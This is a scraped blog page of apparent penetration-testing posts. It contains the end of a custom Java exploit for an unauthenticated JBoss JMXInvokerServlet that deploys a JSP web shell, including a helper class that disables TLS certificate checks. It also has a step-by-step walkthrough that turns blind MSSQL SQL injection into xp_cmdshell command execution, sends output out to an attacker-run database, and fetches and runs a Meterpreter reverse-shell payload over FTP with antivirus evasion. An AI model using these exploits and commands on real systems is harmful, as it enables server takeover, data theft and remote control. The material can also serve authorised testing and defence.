<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>Class<?> c = Class.forName("javax.management.MBeanServerConnection");</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>payload.setMethod(method);</i></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>Object myObj[] = new Object[4];</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[0] = new javax.management.ObjectName("jboss.admin:service=DeploymentFileRepository");</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[1] = new String("store");</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[2] = new Object[]{warFileName+warFileExtension,shellFileName,shellFileExtension,jspShell,true};</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>myObj[3] = new String[]{"java.lang.String","java.lang.String","java.lang.String","java.lang.String","boolean"};</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>payload.setArguments(myObj);</i></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span style="font-size: xx-small;"><i> FileOutputStream fileOut = new FileOutputStream(payloadSaveLocation);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> ObjectOutputStream out = new ObjectOutputStream(fileOut);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> out.writeObject(payload);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> out.close();</i></span></div>
<div>
<span style="font-size: xx-small;"><i> fileOut.close();</i></span></div>
<div>
<span style="font-size: xx-small;"><i> System.out.printf("Payload saved in "+ payloadSaveLocation);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> </i></span></div>
<div>
<span style="font-size: xx-small;"><i> </i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>/*InputStream file = new FileInputStream(payloadSaveLocation);</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>InputStream buffer = new BufferedInputStream(file);</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>ObjectInput input = new ObjectInputStream (buffer);</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>Object read = input.readObject();</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>input.close();</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(read.getClass().toString());</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledInvocation payload = (MarshalledInvocation)read;*/</i></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span class="Apple-tab-span" style="white-space: pre;"><span style="font-size: xx-small;"><i> </i></span></span></div>
<div>
<span style="font-size: xx-small;"><i> String type = "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue";</i></span></div>
<div>
<span style="font-size: xx-small;"><i> URL u = new URL(jmxUrl);</i></span></div>
<div>
<i style="font-size: x-small;"> HttpURLConnection conn = (HttpURLConnection) u.openConnection();</i></div>
<div>
<span style="font-size: xx-small;"><i> TrustModifier.relaxHostChecking(conn);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> conn.setDoOutput(true);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> conn.setRequestMethod( "POST" );</i></span></div>
<div>
<span style="font-size: xx-small;"><i> conn.setRequestProperty( "Content-Type", type );</i></span></div>
<div>
<span style="font-size: xx-small;"><i> conn.setRequestProperty( "Content-Length","10000" );</i></span></div>
<div>
<span style="font-size: xx-small;"><i> OutputStream os = conn.getOutputStream();</i></span></div>
<div>
<span style="font-size: xx-small;"><i> new ObjectOutputStream(os).writeObject(payload);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> </i></span></div>
<div>
<span style="font-size: xx-small;"><i> ObjectInputStream in = new ObjectInputStream(conn.getInputStream());</i></span></div>
<div>
<span style="font-size: xx-small;"><i> Object obj = in.readObject();</i></span></div>
<div>
<span style="font-size: xx-small;"><i> if(obj.getClass().toString().equals("class org.jboss.invocation.MarshalledValue")){</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("\nGot MarshalledValue response");</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>MarshalledValue mv = (MarshalledValue)obj;</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>Object mvContent = mv.get();</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>if(mvContent != null)</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>{</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(mvContent.getClass().toString());</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>if(mvContent.getClass().toString().equals("class org.jboss.invocation.InvocationException")){</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("Invocation Exception Received");</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>InvocationException ie = (InvocationException)mvContent;</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println(ie.getMessage());</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>ie.printStackTrace();</i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span> <span class="Apple-tab-span" style="white-space: pre;"> </span>}</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>}</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>else</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>{</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>System.out.println("Success! Look for the deployed WAR at /"+warFileName+"/"+shellFileName+shellFileExtension);</i></span></div>
<div>
<span style="font-size: xx-small;"><i> <span class="Apple-tab-span" style="white-space: pre;"> </span>}</i></span></div>
<div>
<span style="font-size: xx-small;"><i> }</i></span></div>
<div>
<span style="font-size: xx-small;"><i> </i></span></div>
<div>
<span style="font-size: xx-small;"><i><span class="Apple-tab-span" style="white-space: pre;"> </span>}</i></span></div>
<div>
<span style="font-size: xx-small;"><i><br /></i></span></div>
<div>
<span style="font-size: xx-small;"><i>}</i></span></div>
<div>
---------------------------------</div>
<div style="font-weight: bold;">
TrustModifier.java</div>
</div>
<div style="font-weight: bold;">
**Supporting class for JBOSSExploit.java</div>
<div>
<div>
<span style="font-size: xx-small;">import java.net.*;</span></div>
<div>
<span style="font-size: xx-small;">import javax.net.ssl.*;</span></div>
<div>
<span style="font-size: xx-small;">import java.security.*;</span></div>
<div>
<span style="font-size: xx-small;">import java.security.cert.*;</span></div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
<span style="font-size: xx-small;">public class TrustModifier {</span></div>
<div>
<span style="font-size: xx-small;"> private static final TrustingHostnameVerifier </span></div>
<div>
<span style="font-size: xx-small;"> TRUSTING_HOSTNAME_VERIFIER = new TrustingHostnameVerifier();</span></div>
<div>
<span style="font-size: xx-small;"> private static SSLSocketFactory factory;</span></div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
<span style="font-size: xx-small;"> /** Call this with any HttpURLConnection, and it will </span></div>
<div>
<span style="font-size: xx-small;"> modify the trust settings if it is an HTTPS connection. */</span></div>
<div>
<span style="font-size: xx-small;"> public static void relaxHostChecking(HttpURLConnection conn) </span></div>
<div>
<span style="font-size: xx-small;"> throws KeyManagementException, NoSuchAlgorithmException, KeyStoreException {</span></div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
<span style="font-size: xx-small;"> if (conn instanceof HttpsURLConnection) {</span></div>
<div>
<span style="font-size: xx-small;"> HttpsURLConnection httpsConnection = (HttpsURLConnection) conn;</span></div>
<div>
<span style="font-size: xx-small;"> SSLSocketFactory factory = prepFactory(httpsConnection);</span></div>
<div>
<span style="font-size: xx-small;"> httpsConnection.setSSLSocketFactory(factory);</span></div>
<div>
<span style="font-size: xx-small;"> httpsConnection.setHostnameVerifier(TRUSTING_HOSTNAME_VERIFIER);</span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
<span style="font-size: xx-small;"> static synchronized SSLSocketFactory </span></div>
<div>
<span style="font-size: xx-small;"> prepFactory(HttpsURLConnection httpsConnection) </span></div>
<div>
<span style="font-size: xx-small;"> throws NoSuchAlgorithmException, KeyStoreException, KeyManagementException {</span></div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
<span style="font-size: xx-small;"> if (factory == null) {</span></div>
<div>
<span style="font-size: xx-small;"> SSLContext ctx = SSLContext.getInstance("TLS");</span></div>
<div>
<span style="font-size: xx-small;"> ctx.init(null, new TrustManager[]{ new AlwaysTrustManager() }, null);</span></div>
<div>
<span style="font-size: xx-small;"> factory = ctx.getSocketFactory();</span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"> return factory;</span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"> </span></div>
<div>
<span style="font-size: xx-small;"> private static final class TrustingHostnameVerifier implements HostnameVerifier {</span></div>
<div>
<span style="font-size: xx-small;"> public boolean verify(String hostname, SSLSession session) {</span></div>
<div>
<span style="font-size: xx-small;"> return true;</span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
<span style="font-size: xx-small;"> private static class AlwaysTrustManager implements X509TrustManager {</span></div>
<div>
<span style="font-size: xx-small;"> public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }</span></div>
<div>
<span style="font-size: xx-small;"> public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { }</span></div>
<div>
<span style="font-size: xx-small;"> public X509Certificate[] getAcceptedIssuers() { return null; } </span></div>
<div>
<span style="font-size: xx-small;"> }</span></div>
<div>
<span style="font-size: xx-small;"> </span></div>
<div>
<span style="font-size: xx-small;">}</span></div>
</div>
<div>
<span style="font-size: xx-small;"><br /></span></div>
<div>
---------------------------------</div>
<div>
<br /></div>
<div>
For those who have made it this far, to Compile (make sure you have the JAR files, they come with JBOSS):</div>
<div>
javac -cp .:jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java</div>
<div>
<br /></div>
<div>
To Run:</div>
<div>
java -cp .:jboss.jar:jbossall-client.jar JBOSSExploit</div>
<div>
<br /></div>
<div>
To finish it off, just access the URL where your malicious WAR file was deployed e.g: http(s)://localhost:8080/xxxyyy/jspshell.jsp</div>
<div>
<br /></div>
<div>
Hopefully in the future we can get this exploit integrated into a toolkit like clusterd.</div>
<div>
<span style="color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: x-small;"><span style="line-height: 18px;">,</span></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com1tag:blogger.com,1999:blog-6160546299096632925.post-26231583158862495592013-09-25T11:43:00.000-07:002013-09-25T13:09:19.581-07:00Blind SQLi -> SQLi -> Command Execution -> Meterpreter - Based On A True Story<div dir="ltr" style="text-align: left;" trbidi="on">
This is going to be a long one. For a quick rundown, see the video of this process from start-finish at <a href="http://www.youtube.com/watch?v=XIZyxVzERXg">http://www.youtube.com/watch?v=XIZyxVzERXg</a> <Ugh - Had to take the video down for censoring, nothing interesting, just some machinenames that I can't post. Tried editing with OpenShot and was too much work, anyone know an easier way?><br />
<br />
Blind SQLi on MSSQL is something I run into once in a while. In a recent test, I took the extra time to take it all the way to a Meterpreter shell manually and would like to document that process here. It involved one new trick I hadn't seen before, so here we go.<br />
<br />
The SQL injection was on the UserName parameter, the following is an example of a sanitized POST request:<br />
<br />
<br />
<blockquote class="tr_bq">
POST /login.aspx HTTP/1.1<br />
Host: XXXXXXXXXX<br />
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: en-US,en;q=0.5<br />
Accept-Encoding: gzip, deflate<br />
Referer: XXXXXXXXXX<br />
Cookie: ASP.NET_SessionId=YYYYYYYYYYYYY<br />
Connection: keep-alive<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 1337<br />
UserName=test&Password=test&SUBMIT1=Sign+In</blockquote>
<br />
<h3>
Step 1 - Find The Injection Point For Stacked Queries</h3>
First we're going to want to confirm the SQL injection and figure out where to inject our own stacked queries. Stacked queries are just multiple queries appended together separated by semi-colons. For example, suppose the backend code for the SQL statement for this function looked like this:<br />
<br />
query = "SELECT * FROM Users WHERE userName = '"+uName+"' AND password ='"+password+"'";<br />
<br />
In this case, we would set the UserName parameter to "test'--" which would result in the following query being constructed:<br />
<br />
query = "SELECT * FROM Users WHERE userName = 'test'<span style="background-color: lime;">--AND password = 'testpassword'</span><br />
<br />
Notice that the highlighted section is commented out. Sometimes things are a little more complicated, as was true in this example. Suppose the code creating the query looked like this:<br />
<br />
query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = '"+uName+"' AND password ='"+password+"'") as tempTable;<br />
<br />
In this case, we would need to set our UserName parameter to "test')--" so that we would get the following:<br />
<br />
query = "SELECT * FROM (SELECT * FROM Users JOIN Names ON Users.userId = Names.userId WHERE Users.userName = 'test')<span style="background-color: lime;">--' AND password ='"+password+"'") as tempTable;</span><br />
<span style="background-color: lime;"><br /></span>
<span style="background-color: lime;"></span><br />
To find out if we've got it right, we need to create a stacked query that will have a noticeable result, a great way to do this is to introduce a delay. Consider setting UserName = "test'); WAITFOR DELAY '000:00:20';--". If everything was done right, we should see a 20s delay in the response and can move on to the next step! You may need to add more braces or quotes, try to imagine what the query may look like.<br />
<br />
<h3>
Step 2 - Gaining Sight</h3>
<div>
Blind SQL injection can be extremely frustrating to work with. The following technique was jacked from http://www.secforce.com/blog/2013/01/stacked-based-mssql-blind-injection-bypass-methodology/</div>
<div>
and works very well in many cases.</div>
<div>
<br /></div>
<div>
It depends on the DB user having a certain set of privileges. They either need to be able to run the sp_configure command, or "Ad Hoc Distributed Queries". Issue the following 6 commands, in this order, to attempt to enable "Ad Hoc Distributed Queries" (and while we're at it, xp_cmbshell). You'll want to put these commands in the highlighted section of the UserName parameter as follows:</div>
<div>
<br /></div>
<div>
UserName = "test');<span style="background-color: lime;"><SQL TO INJECT></span>;--"</div>
<div>
<br /></div>
<div>
<div class="p1">
exec sp_configure 'show advanced options', 1</div>
<div class="p1">
reconfigure</div>
<div class="p1">
exec sp_configure 'Ad Hoc Distributed Queries', 1</div>
<div class="p1">
reconfigure</div>
<div class="p1">
exec sp_configure xp_cmdshell, 1</div>
<div class="p1">
reconfigure</div>
<div class="p1">
<br /></div>
<div class="p1">
If all went well we should now be able to cause the remote victim database to dump query results back to a local instance of MSSQL that we (the attackers) are running.<br />
<br />
<b>Testing For Success</b><br />
<b><br /></b>
It's very important at this point to test whether the results of the sp_configure commands succeeded. I've developed a quick and easy technique for doing this that has worked great for me many times. It involves setting up DNSCat (<span style="font-family: Arial; font-size: 15px; white-space: pre-wrap;">http://www.skullsecurity.org/wiki/index.php/Dnscat) on a server. You need a domain and have to configure your machine running DNSCat to be the authoritative nameserver for some subdomain on it.</span><br />
<span style="font-family: Arial; font-size: 15px; white-space: pre-wrap;"><br /></span>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">On your server run "./dnscat --listen"</span></span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">Through the SQL Injection run the command:</span></span><br />
<br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">exec xp_cmdshell 'ping test123.dns.yourdomain.com'</span></span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">The HTTP parameter will look like </span></span>UserName = "test');<span style="background-color: lime;">exec xp_cmdshell 'p<span style="font-family: Arial; font-size: 15px; white-space: pre-wrap;">ing test123.dns.yourdomain.com'</span></span>' ;--"<br />
<br />
You should now see DNS lookups coming to the console in dnscat for 'test123'. This is a great way to test command execution since most organizations will allow recursive DNS lookups outbound, even when other filters are in place, and the ping/host commands are fairly universal.<br />
<br />
At this point you have blind command execution and can skip straight to <b>Step 5</b>, or continue on with the following.</div>
<br />
<b>
Configuring the Local DB</b><br />
<div class="p1">
<br />
To do this, you'll need to install Microsoft SQL Server Express https://www.microsoft.com/en-us/sqlserver/editions/2012-editions/express.aspx</div>
<div class="p1">
<br /></div>
<div class="p1">
Once installed, you need to set up and configure the database to accept remote connections with SQL server authentication. This was a bit of a headache to get right for me, so I'll outline some of the key steps:</div>
<div class="p1">
<br /></div>
<div class="p1">
1) Install SQL server express</div>
<div class="p1">
<br /></div>
<div class="p1">
2) Set up a database by running the following commands in SQL server management studio</div>
<ul style="font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 19px;">
<li>CREATE DATABASE output_db;</li>
<li>CREATE TABLE output_db..output ( result VARCHAR(MAX) );</li>
</ul>
<div>
3) Configure the database listener to accept remote connections. This is done by right clicking on your DB listener in SQL server management studio, select "Properties". Under "Security" you must allow "SQL Server and Windows Authentication". Under "Connections" you must tick "Allow Remote Connections"</div>
</div>
<div>
<br /></div>
<div>
4) Create a database user. This is done by expanding the tree for your DB Listener in Management Studio and selecting "Security -> Logins", right click on Logins and add a new SQL user.</div>
<div>
<br /></div>
<div>
5) In the Start Menu, Under SQL Server, Configuration Tools, you must open the SQL Server Configuration Manager. Under "SQL Server Network Configuration", double click on "Protocols for SQL Express", then double click on "TCP/IP". Under "IP Addresses" tab, at the bottom there is an "IP ALL" section. Set the "TCP Port" value to "1433"</div>
<div>
<br /></div>
<div>
6) Disable Windows Firewall and set up any port forwarding you need on your router. You just need to forward 1433/tcp.</div>
<div>
<br /></div>
<div>
7) Restart the database through the management console.</div>
<div>
<br /></div>
<div>
8) Do a netstat -an, look for a listener on port 1433</div>
<br />
<b>
Testing Locally</b><br />
<div>
<br />
Chances are you messed something up by this point. I recommend testing your MSSQL and network configuration locally. Create an table called output with a single column of type "text". Open up a new query in SQL server management studio and try the following (replace highlighted parameters):</div>
<div>
<div class="p1">
<br /></div>
<div class="p1">
INSERT INTO OPENROWSET('SQLOLEDB','<span style="background-color: lime;"><Your External IP>'</span>;'<span style="background-color: lime;">sqlUserName</span>';'<span style="background-color: lime;">weakPassword</span>',output_db.dbo.output) SELECT @@version</div>
<div class="p1">
<br /></div>
<div class="p1">
If successful this will insert your MSSQL Server version into the "output" table. Debug this until it works.<br />
<br /></div>
</div>
<div>
<b>
Exfiltrating Data</b><br />
<b><br /></b></div>
<div>
Now you're all set to exfiltrate data! Just inject the above command into the following again, replace <SQL TO INJECT> with INSERT INTO OPENROWSET('SQLOLEDB','<span style="background-color: lime;"><Your External IP>'</span>;'<span style="background-color: lime;">sqlUserName</span>';'<span style="background-color: lime;">weakPassword</span>',output_db.dbo.output) SELECT @@version</div>
<div>
<br /></div>
<div>
<br />
Example:<br />
UserName = "test');INSERT INTO OPENROWSET('SQLOLEDB','<span style="background-color: lime;"><Your External IP></span>';'<span style="background-color: lime;">sqlUserName</span>';'<span style="background-color: lime;">weakPassword</span>',output_db.dbo.output) SELECT @@version;--"</div>
<div>
<span style="background-color: white;"><br /></span></div>
If you get the remote DB version back in your local output table, you're in luck! You can now run any query!<br />
<div>
<span style="background-color: white;"><br /></span></div>
<div>
<h3>
Step 3 - Command Execution</h3>
</div>
<div>
This is the interesting part where I deviate a bit from what I've seen before. Above we enabled command execution with the sp_reconfigure command, now we would like to run a command and get it's output. Consider injecting the following into the <SQL TO INJECT> portion of our payload:</div>
<div>
<br /></div>
<div>
<div class="p1">
create table #output (output varchar(255) null);insert #output exec xp_cmdshell 'dir C:\'; INSERT INTO OPENROWSET('SQLOLEDB','<span style="background-color: lime;"><Your External IP></span>';'<span style="background-color: lime;">sqlUserName</span>';'<span style="background-color: lime;">weakPassword</span>',output_db.dbo.output) select * from #output where output is not null; drop table #output</div>
<div class="p1">
<br /></div>
<div class="p1">
This creates a temporary table called #output, sticks the results of our shell command (in this case 'dir') into it, then moves the contents of that table up to our local database server, and finally drops the temporary table! Full remote command execution!<br />
<br /></div>
<div class="p1">
</div>
<h3>
</h3>
<h3>
Step 4 - Meterpreter</h3>
<div>
The fun doesn't really start until you've dropped your Meterpreter shell. There are a number of ways to do this. This time I chose an FTP script but have a few other interesting ideas as well.</div>
<div>
<br /></div>
<div>
The FTP method which is quite simple, is to just host your payload on an FTP server, then use command execution to download and execute it. I usually just run an anonymous vsftp server and then do the following in BackTrack:</div>
<div>
<br /></div>
<div>
Generate the payload:</div>
<div>
./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=<span style="background-color: lime;"><YOUR IP> </span>LPORT=4444 -f exe > /srv/ftp/payload.exe</div>
<div>
<br /></div>
<div>
Start your meterpreter handler:</div>
<div>
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=<span style="background-color: lime;"><YOUR IP> </span>LPORT=4444 E</div>
<div>
<br /></div>
<div>
Now we can use command execution to grab and execute the payload. Run the following commands on the victim machine:</div>
<div>
<br /></div>
<div>
Create an FTP script:</div>
<div>
<b id="internal-source-marker_0.311895101564005" style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">echo open 192.168.14.81> ftp.txt </span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">echo <USERNAME>>> ftp.txt</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">echo <PASSWORD>>> ftp.txt</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">echo bin>> ftp.txt</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">echo get payload.exe>> ftp.txt</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">echo bye>> ftp.txt</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">Execute the script, download the payload:</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">ftp -s:ftp.txt</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"></span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">Run the payload:</span><br /><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">payload.exe</span></b></div>
<div>
<b style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;"><br /></span></b></div>
<div>
<h3>
Step 5 - Advanced Payload Delivery</h3>
<b style="font-weight: normal;"><span style="font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;">So it didn't work... You've confirmed that you have blind command execution (see Step 2 - Testing for Success), but you don't have a shell.The victim could be filtering egress traffic, A/V could be mucking things up, who knows. Luckily I have some other interesting evasion strategies that I'll get into some light detail on. For an example see the video referenced at the beginning of this post.</span></b></div>
<div>
<br /></div>
<div>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">Use the BackTrack "exe2bat.exe" utility to convert a stealthy payload into a batch file. I use a payload that tunnels a cmd shell over DNS requests. I use a custom version of dnscat (http://www.skullsecurity.org/wiki/index.php/Dnscat) with some minor code changes to improve stability and hardcode the IP address.</span></span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span>
<br />
<div style="text-align: left;">
<span style="font-family: Arial; font-size: 15px; white-space: pre-wrap;">Rather than a custom payload, you can also use a Meterpreter payload in VBScript format. This is my favorite method and the first thing I usually try. Luckily we have Metasploit Pro and the dynamic payloads generated by it are GREAT at A/V evasion. Metasploit has a script to convert an executable into a VBScript file, I think it's called exe2vbs.rb. Once you have a VBScript file, you need to actually get it on the remote machine. I just create a batch file to do this similar to what 'exe2bat' does. At the beginning of each line in the VBS add "echo '" and at the end of each line add "' > notAPayload.vbs". Also you'll probably want to edit the VBS file that Metasploit generates. I like to hardcode the location where it creates the executable so I know where it is and somewhere that I know should be world-writable. This is all very hand-wavy, - if you have questions about this feel free to email me, or watch the video.</span></div>
</div>
<div>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span></div>
<div>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">Whether you use exe2bat or exe2vbs and turn it into a batch file, the next step is basically the same. You want to run the batch file on the remote machine to restore your payload to executable format. Just import the batch file into BURP Intruder, set the target field to our <span style="background-color: lime;"><SQL TO INJECT></span> section of the parameter, set BURP to run in single threaded mode (maybe setup a little delay for good measure), and let it rip! This should get your executable payload to the victim purely through command execution and relatively painlessly. From here you can just run it.</span></span><br />
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;">For examples of this whole process from start-finish, see the 10 minute, audio less video referenced up top.</span></span></div>
<div>
<span style="font-family: Arial;"><span style="font-size: 15px; white-space: pre-wrap;"><br /></span></span></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com3tag:blogger.com,1999:blog-6160546299096632925.post-87413056250933134062013-09-20T00:43:00.001-07:002013-10-25T10:22:44.668-07:00JBOSS JMXInvokerServlet Exploit<div dir="ltr" style="text-align: left;" trbidi="on">
Recently ran into a JMXInvokerServlet that didn't require authentication. These generally have a URL that looks something like:<br />
<br />
http(s)://localhost:8080/invoker/JMXInvokerServlet<br />
<br />
While there is a Metasploit module for this, it wasn't working for various reasons. Inspired by Matasano (<a href="http://www.matasano.com/research/OWASP3011_Luca.pdf">http://www.matasano.com/research/OWASP3011_Luca.pdf</a>), I wrote up some custom exploit code for this.<br />
<br />
Make sure you modify the appropriate strings in JBOSSExploit.java:<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>//Parameters you need to configure<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>int hash = 647347722;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>String jmxUrl = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>String attackerUrl = "http://externalhost.com/test.war";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>String payloadSaveLocation = "testPayload.out";<br />
<br />
hash -> This is specific to the version of JBOSS. It's the entry that identifies jboss.jmx:name=Invoker. For my version it was 647347722. Metasploit modules have a different number here and is one of the reasons it was failing (you'll get an exception back from JBOSS if this is wrong).<br />
<br />
jmxURL -> Self explanatory<br />
<br />
attackerURL -> Host a malicious WAR file here and watch your apache logs<br />
<br />
payloadSaveLocation -> This is useful if you want to proxy through BURP or use the metasploit module to send the payload rather than this hacky Java code. The payload object will be saved to disk. You can then overwrite /usr/share/metasploit-framework/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin with the payload generated here. When you run the jmxinvoker metasploit module, it will use this new payload and you can see what's going on by proxying MSP through BURP.<br />
<br />
To Compile (make sure you have the JAR files, they come with JBOSS):<br />
javac -cp jboss.jar:jbossall-client.jar TrustModifier.java JBOSSExploit.java<br />
<br />
To Run:<br />
